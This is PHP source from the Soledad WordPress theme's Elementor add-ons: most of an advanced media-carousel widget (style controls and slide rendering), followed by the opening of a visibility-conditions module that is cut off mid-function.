			'irm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
			'irm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
			'irm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$repeater->add_control(
			'irm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'icustom' => 'yes' ),
			)
		);
		$repeater->add_control(
			'irm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a:hover' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'icustom' => 'yes' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();


		$this->add_control(
			'slides', array(
				'label'     => __( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater->get_controls(),
				'default'   => array(
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
					array(
						'image'            => array( 'url' => Utils::get_placeholder_image_src() ),
						'title_text'       => 'This is the heading',
						'description_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
					),
				),
				'separator' => 'after',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_spacing', array(
				'label' => __( 'Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_responsive_control(
			'slides_padding', array(
				'label'      => __( 'Padding for Whole Slides', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-inct' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'title_top_space', array(
				'label'     => __( 'Content Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'condition' => array( 'contentpos' => 'below' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-below .penci-media-content' => 'margin-top: {{SIZE}}px;'
				)
			)
		);

		$this->add_responsive_control(
			'title_bottom_space', array(
				'label'     => __( 'Content Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'condition' => array( 'contentpos' => 'above' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-above .penci-media-content' => 'margin-bottom: {{SIZE}}px;'
				)
			)
		);

		$this->add_responsive_control(
			'content_space', array(
				'label'      => __( 'Content Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels.pc-ctpos-on .pc-media-ctinner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'contentpos' => 'on' ),
			)
		);

		$this->add_responsive_control(
			'content_padding', array(
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-carousels .pc-media-ctinner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'stit_bottom_space', array(
				'label'     => __( 'Sub Title Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-stit' => 'margin-bottom: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'desc_top_space', array(
				'label'     => __( 'Description Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc' => 'margin-top: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'button_top_space', array(
				'label'     => __( 'Read More Button Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-rmbtn' => 'margin-top: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_overlay', array(
				'label' => __( 'Slides Overlay', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_control(
			'heading_overlayimg', array(
				'label' => __( 'Overlay on Image', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'img_overlay',
				'label'    => __( 'Image Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .pc-adcr-overlay',
			)
		);

		$this->add_responsive_control(
			'overlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_responsive_control(
			'overlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct:hover .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_control(
			'heading_overlayct', array(
				'label' => __( 'Overlay on Content', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ct_overlay',
				'label'    => __( 'Content Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .pc-media-ctinner:before',
			)
		);

		$this->add_responsive_control(
			'ctoverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_responsive_control(
			'ctoverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct:hover .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content', array(
				'label' => __( 'Advanced Carousel Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_control(
			'heading_carousel_slides', array(
				'label'     => __( 'Carousel Slides', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'slides_bg',
				'label'    => __( 'Slides Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-media-inct',
			)
		);

		$this->add_control(
			'slides_borders', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct' => 'border: 1px solid {{VALUE}};'
				)
			)
		);

		$this->add_responsive_control(
			'slides_borders_width', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-inct' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'heading_carousel_content', array(
				'label'     => __( 'Carousel Content', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'text_align', array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-content' => 'text-align: {{VALUE}};'
				)
			)
		);

		$this->add_control(
			'content_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'condition'            => array( 'contentpos' => 'on' ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pc-ctpos-on .penci-media-content' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'heading_stitle', array(
				'label'     => __( 'Sub Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'stitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-stit' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'stitle_typography',
				'selector' => '{{WRAPPER}} .penci-media-stit'
			)
		);

		$this->add_control(
			'heading_title', array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-title' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typography',
				'selector' => '{{WRAPPER}} .penci-media-carousels .penci-media-title'
			)
		);

		$this->add_control(
			'heading_description', array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before'
			)
		);

		$this->add_control(
			'description_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_control(
			'description_linkcolor', array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc a' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .penci-media-carousels .penci-media-desc'
			)
		);

		$this->add_control(
			'rm_style',
			array(
				'label'     => __( 'Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'rm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'rm_typo',
				'label'    => __( 'Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-media-rmbtn a',
			)
		);

		$this->add_responsive_control(
			'btn_padding', array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'btn_bdradius', array(
				'label'      => __( 'Button Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'addrmborder', array(
				'label'        => __( 'Add Button Borders', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$this->add_responsive_control(
			'btn_bdwidth', array(
				'label'      => __( 'Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrmborder' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);

		$this->end_controls_section();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function get_repeater_defaults() {
		$placeholder_image_src = Utils::get_placeholder_image_src();

		return array_fill( 0, 5, array(
			'image' => array( 'url' => $placeholder_image_src )
		) );
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['slides'] ) ) {
			return;
		}

		$css_class  = 'penci-block-vc penci-media-carousels';
		$contentpos = $settings['contentpos'] ? $settings['contentpos'] : 'below';
		$css_class  .= ' pc-ctpos-' . $contentpos;

		$data_slider = $settings['showdots'] ? ' data-dots="true"' : '';
		$data_slider .= ! $settings['shownav'] ? ' data-nav="true"' : '';
		$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
		$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : '';
		$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : '';
		$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		$data_slider .= ' data-seffect="' . $settings['single_slider_effect'] . '"';


		//$data_slider .= ' data-margin="' . ( isset( $settings['slides_item_gap'] ) && $settings['slides_item_gap'] ? $settings['slides_item_gap'] : '10' ) . '"';
		$data_slider .= ' data-item="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '"';
		$data_slider .= ' data-desktop="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '" ';
		$data_slider .= ' data-tablet="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-tabsmall="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-mobile="' . ( isset( $settings['slides_per_view_mobile'] ) && $settings['slides_per_view_mobile'] ? $settings['slides_per_view_mobile'] : '1' ) . '"';
		?>

        <div class="<?php echo esc_attr( $css_class ); ?>">
            <div class="penci-advanced-carousel-mg">
                <div class="penci-block_content penci-owl-carousel swiper penci-advanced-carousel penci-owl-carousel-slider" <?php echo $data_slider; ?>>
                    <div class="swiper-wrapper">
						<?php
						$slide_prints_count = 0;
						$image_size         = isset( $settings['image_size'] ) && $settings['image_size'] ? $settings['image_size'] : 'penci-thumb';
						$image_size_mobile  = isset( $settings['image_size_mobile'] ) && $settings['image_size_mobile'] ? $settings['image_size_mobile'] : '';
						$border_class       = $settings['addrmborder'] ? ' pc-rmbtn-borders' : '';
						if ( penci_is_mobile() && $image_size_mobile ) {
							$image_size = $image_size_mobile;
						}

						foreach ( $settings['slides'] as $index => $slide ) {
							$slide_prints_count ++;

							$slide_stitle = $slide['stitle_text'] ? $slide['stitle_text'] : '';
							$slide_title  = $slide['title_text'] ? $slide['title_text'] : '';
							$desc_title   = $slide['description_text'] ? $slide['description_text'] : '';
							$button_text  = $slide['treadmore'] ? $slide['treadmore'] : '';
							$btnadd_icon  = $slide['btnadd_icon'] ? $slide['btnadd_icon'] : '';
							$icon_pos     = $slide['icon_pos'] ? $slide['icon_pos'] : 'left';
							$item_id      = $slide['_id'] ? ' elementor-repeater-item-' . $slide['_id'] : '';

							$element_key        = 'slide-' . $index . '-' . $slide_prints_count;
							$slider_img         = $this->get_slide_image_url( $slide, $settings );
							$slider_img_display = penci_get_image_size_url( $slider_img, $image_size );

							$this->add_render_attribute( $element_key . '-image', array(
								'class'      => 'penci-image-holder penci-lazy',
								'data-bgset' => $slider_img_display,
							) );

							$a_before    = $a_after = '';
							$reders_href = false;

							$slide_type = isset( $slide['type'] ) ? $slide['type'] : 'image';

							if ( 'image' == $slide_type ) {
								if ( 'custom' === $slide['image_link_to_type'] ) {
									if ( $slide['image_link_to']['is_external'] ) {
										$this->add_render_attribute( $element_key . '_link', 'target', '_blank' );
									}
									if ( $slide['image_link_to']['nofollow'] ) {
										$this->add_render_attribute( $element_key . '_link', 'nofollow', '' );
									}
									if ( $slide['image_link_to']['url'] ) {
										$this->add_render_attribute( $element_key . '_link', 'href', $slide['image_link_to']['url'] );
									}
									$reders_href = true;
								} else if ( 'file' === $slide['image_link_to_type'] ) {
									$this->add_render_attribute( $element_key . '_link', array(
										'class' => 'elementor-clickable',
										'href'  => $slider_img,
									) );
									$reders_href = true;
								}

							} else if ( 'video' == $slide_type && $slide['video']['url'] ) {
								$this->add_render_attribute( $element_key . '_link', 'class', 'penci-other-layouts-lighbox' );
								$this->add_render_attribute( $element_key . '_link', 'href', $slide['video']['url'] );
								$reders_href = true;
							}

							if ( $reders_href ) {
								$a_before = '<a ' . $this->get_render_attribute_string( $element_key . '_link' ) . '>';
								$a_after  = '</a>';
							}
							?>
                            <div class="swiper-slide penci-media-item<?php echo $item_id; ?>">
                                <div class="penci-media-inner">
                                    <div class="penci-media-inct">
                                        <div class="penci-media-img">
											<?php if ( 'on' != $contentpos ): echo $a_before; endif; ?>
                                            <div class="pc-adcr-overlay"></div>
											<?php if ( 'on' != $contentpos ): echo $a_after; endif; ?>
                                            <div <?php echo $this->get_render_attribute_string( $element_key . '-image' ); ?>>
												<?php
												if ( 'video' === $slide['type'] ) {
													echo '<div class="overlay-icon-format normal-size-icon">';
													penci_fawesome_icon( 'fas fa-play' );
													echo '</div>';
												}
												?>
                                            </div>
                                        </div>
										<?php if ( $slide_stitle || $slide_title || $desc_title || $button_text ) : ?>
                                            <div class="penci-media-content">
												<?php if ( 'on' == $contentpos && $a_before && $a_after ) { ?>
													<?php echo $a_before . $a_after; ?>
												<?php } ?>
                                                <div class="pc-media-ctinner">
													<?php if ( $slide_stitle ): ?>
                                                        <div class="penci-media-stit"><?php echo $slide_stitle; ?></div>
													<?php endif; ?>
													<?php if ( $slide_title ): ?>
                                                        <h3 class="penci-media-title"><?php echo $slide_title; ?></h3>
													<?php endif; ?>
													<?php if ( $desc_title ): ?>
                                                        <div class="penci-media-desc"><?php echo $desc_title ?></div>
													<?php endif; ?>
													<?php if ( $button_text || 'yes' == $btnadd_icon ):
														$button_href = $slide['rmlink']['url'] ? $slide['rmlink']['url'] : '';
														$button_target = $slide['rmlink']['is_external'] ? ' target="_blank"' : '';
														$button_nofollow = $slide['rmlink']['nofollow'] ? ' rel="nofollow"' : '';
														?>
                                                        <div class="penci-media-rmbtn<?php echo $border_class; ?>"><a
                                                                    href="<?php echo $button_href; ?>"<?php echo $button_target . $button_nofollow; ?>>
																<?php if ( 'yes' == $btnadd_icon && 'left' == $icon_pos ) {
																	\Elementor\Icons_Manager::render_icon( $slide['rmicon'], [ 'aria-hidden' => 'true' ] );
																} ?>
																<?php if ( $button_text ) {
																	echo $button_text;
																} ?>
																<?php if ( 'yes' == $btnadd_icon && 'right' == $icon_pos ) {
																	\Elementor\Icons_Manager::render_icon( $slide['rmicon'], [ 'aria-hidden' => 'true' ] );
																} ?>
                                                            </a></div>
													<?php endif; ?>
                                                </div>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
							<?php
						}
						?>
                    </div>
                </div>
            </div>
        </div>

		<?php
	}

	protected function get_slide_image_url( $slide, array $settings ) {
		$image_url = '';

		if ( ! $image_url ) {
			$image_url = $slide['image']['url'];
		}

		return $image_url;
	}

	protected function get_image_link_click( $slide ) {
		if ( $slide['video']['url'] ) {
			return $slide['image']['url'];
		}

		if ( ! $slide['image_link_to_type'] ) {
			return '';
		}

		if ( 'custom' === $slide['image_link_to_type'] ) {
			return $slide['image_link_to']['url'];
		}

		return $slide['image']['url'];
	}
}
PK     1w\Ĥg-  -  6  elementor/modules/penci-visibility-controls/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls;

use Elementor\Controls_Manager;
use Elementor\Plugin;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function __construct() {
		parent::__construct();
		$this->add_actions();
		$this->register_conditions();
	}

	public function get_name() {
		return 'penci-visibility-controls';
	}

	public function register_section( $element ) {
		$element->start_controls_section(
			'section_penci_visibility_control_controls',
			[
				'tab'   => Controls_Manager::TAB_ADVANCED,
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Visibility Controls', 'soledad' ),
			]
		);

		$element->end_controls_section();
	}

	protected $conditions = [];
	protected $_conditions = [];
	protected $_conditional_repeater;
	protected $conditions_options = [];

	const USER_GROUP = 'user';
	const SYSTEM_GROUP = 'system';
	const DATE_TIME_GROUP = 'date_time';
	const MISC_GROUP = 'misc';

	public function get_groups() {
		return [
			self::USER_GROUP      => [
				'label' => __( 'User', 'soledad' ),
			],
			self::SYSTEM_GROUP    => [
				'label' => __( 'System', 'soledad' ),
			],
			self::DATE_TIME_GROUP => [
				'label' => __( 'Date & Time', 'soledad' ),
			],
			self::MISC_GROUP      => [
				'label' => __( 'Misc', 'soledad' ),
			],
		];
	}

	public function register_conditions() {

		$included_conditions = [
			'authentication',
			'role',
			'date',
			'time_range',
			'date_time_before',
			'time',
			'day',
			'os',
			'browser',
			'language',
			'country',
		];

		foreach ( $included_conditions as $condition_name ) {

			$class_name = str_replace( '-', ' ', $condition_name );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$class_name = __NAMESPACE__ . '\\Conditions\\' . $class_name;

			if ( class_exists( $class_name ) ) {
				if ( $class_name::is_supported() ) {
					$this->_conditions[ $condition_name ] = $class_name::instance();
				}
			}
		}
	}

	/**
	 * Get the condition name from here
	 *
	 * @param null $condition_name
	 *
	 * @return array|mixed|null
	 */
	public function get_conditions( $condition_name = null ) {
		if ( $condition_name ) {
			if ( isset( $this->_conditions[ $condition_name ] ) ) {
				return $this->_conditions[ $condition_name ];
			}

			return null;
		}

		return $this->_conditions;
	}

	/**
	 * Set condition as per control checking
	 *
	 * @param string $id widget ID
	 * @param array $conditions conditions repeater items
	 */
	protected function set_conditions( $id, $conditions = [] ) {

		if ( ! $conditions ) {
			return;
		}

		foreach ( $conditions as $index => $condition ) {

			$key = '';
			$key = $condition['pvc_condition_key'];

			$relation = $condition['pvc_condition_operator'];
			$val      = $condition[ 'pvc_condition_' . $key . '_value' ];

			$custom_page_id    = $condition['pvc_condition_custom_page_id'];
			$end_time          = $condition['pvc_condition_time_range_end_time'];
			$addition_operator = $condition['pvc_condition_addition_operator'];
			$extra             = isset( $condition[ 'pvc_condition_' . $key . '_name' ] ) ? $condition[ 'pvc_condition_' . $key . '_name' ] : '';

